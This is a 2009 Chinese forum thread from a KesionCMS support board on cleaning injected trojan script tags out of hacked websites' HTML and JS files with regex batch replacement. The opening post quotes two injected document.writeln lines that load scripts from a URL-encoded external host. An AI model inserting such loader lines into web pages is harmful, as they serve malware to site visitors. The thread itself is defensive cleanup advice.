账号通
    

账号  

密码  

10443

查看

18

回复
主题:[原创]三分钟批量清除HTML和JS内木马代码方法详细图解 [收藏主题] 转到:  
liu123456 当前离线

309

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:1462 分
登录次数:107 次
注册时间:2007/8/5
最后登录:2013/1/31
liu123456 发表于:2009/10/2 11:04:00   | 只看该作者 查看该作者主题 楼主 
科汛在线网校系统

第一步:将服务器或者虚拟主机的HTML文件夹下载到本机,保存目录为HTML

 

第二步:用软件“ultraedit”对所在文件夹进行批量替换:

 

第三步:使用正则替换:

 

大家看这位朋友的代码:

document.writeln('<script id="scr7ipt5552" type="text/javascript" src="http://pt928.99%36%36.org" language="JavaScript"  ><\/script>');

document.writeln('<script language="JavaScript" src="http://pt%3928.%39%3966.org" type="text/javascript" id="scr7ipt938"  ><\/script>');

 

由于每个代码内都包含:id="scr

 

我觉得这个和我们的采集规则一样,所以我们的正则替换代码如下

清除JS内代码请用规则如下:

第一正则:document.writeln('<script*id="scr*><\/script>');

 

清除HTML代码规则如下:

第二正则:<script*id="scr*></script>

 

大家选择替换的时候一定要钩上“使用正则替换”!!!

 

第四步:点击全部替换

 

使用这四个步骤可以在不用重新发布HTML的情况下将木马代码清除,这个帖子是根据帖子http://bbs.kesion.com/dispbbs.asp?boardid=44&id=93390&page=&star=2

整理而成

 

希望对大家能起到一点帮助!

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
chixj 当前离线

29

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:292 分
登录次数:11 次
注册时间:2008/10/13
最后登录:2009/10/10
chixj 发表于:2009/10/10 12:36:00   | 只看该作者 查看该作者主题 沙发 
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
zhenfengdz 当前离线

3821

主题

0

广播

1

粉丝
添加关注
级别:大三

用户积分:21733 分
登录次数:436 次
注册时间:2007/1/9
最后登录:2013/4/24
zhenfengdz 发表于:2009/10/7 8:43:00   | 只看该作者 查看该作者主题 藤椅 
科汛在线商城系统(NET)
ultraedit还有这个功能,受教了。 不过这个办法好像有点麻烦吧?在本地替换的,替换完了不是还得传到空间,那就要若干时间。 我的做法是,用文件比较工具,比较空间文件和本地文件异同,空间上多出的文件全部删除,被挂的asp、js文件全部用本地文件替换,html、htm文件全部生成一遍,就完成了。
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
wufusky 当前离线

193

主题

2

广播

0

粉丝
添加关注
级别:一年级

用户积分:1191 分
登录次数:110 次
注册时间:2006/5/23
最后登录:2015/11/26
wufusky 发表于:2009/10/6 17:17:00   | 只看该作者 查看该作者主题 板凳 
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
gs2727 当前离线

59

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:149 分
登录次数:32 次
注册时间:2009/9/29
最后登录:2012/12/29
gs2727 发表于:2009/10/5 22:17:00   | 只看该作者 查看该作者主题 报纸 
科汛在线商城系统(NET)

已经都替换掉了,方法还很好使。但是不知道明天还会不会出来。

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
海之魄 当前离线

21

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:173 分
登录次数:6 次
注册时间:2009/9/13
最后登录:2009/10/28
海之魄 发表于:2009/10/2 18:46:00   | 只看该作者 查看该作者主题 地板 
做在线知识付费 选科汛云开店
忘了正则。。。。。
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
yywz821 当前离线

15

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:99 分
登录次数:1 次
注册时间:2009/10/2
最后登录:2009/10/2
yywz821 发表于:2009/10/2 17:05:00   | 只看该作者 查看该作者主题 7楼 
做在线知识付费 选科汛云开店

呵呵,真好,受教了~~

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
komkom 当前离线

249

主题

0

广播

0

粉丝
添加关注
级别:二年级

用户积分:12425 分
登录次数:100 次
注册时间:2009/8/13
最后登录:2012/11/14
komkom 发表于:2009/10/2 16:59:00   | 只看该作者 查看该作者主题 8楼 
科汛智能建站系统
累,html文件重新生成就好了,没必要这么复杂吧.而且这种做法治标不治本,把官网说的两个文件删了,修改后台路径,密码,验证码才是目前唯一出路
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
liu123456 当前离线

309

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:1462 分
登录次数:107 次
注册时间:2007/8/5
最后登录:2013/1/31
liu123456 发表于:2009/10/2 17:03:00   | 只看该作者 查看该作者主题 9楼 
科汛智能建站系统
以下是引用komkom在2009-10-2 16:59:00的发言:
累,html文件重新生成就好了,没必要这么复杂吧.而且这种做法治标不治本,把官网说的两个文件删了,修改后台路径,密码,验证码才是目前唯一出路

我怕对搜索工具有影响,因为有的标签重新生成内容也变了,所以手动删掉一些~~

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
ztcbt 当前离线

433

主题

3

广播

0

粉丝
添加关注
级别:四年级

用户积分:6981 分
登录次数:275 次
注册时间:2008/2/16
最后登录:2012/9/21
ztcbt 发表于:2009/10/2 16:39:00   | 只看该作者 查看该作者主题 10楼 
科汛在线网校系统
按你的表达式进行搜索,没发现文件有异常。
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.20313秒 powered by KesionCMS 9.0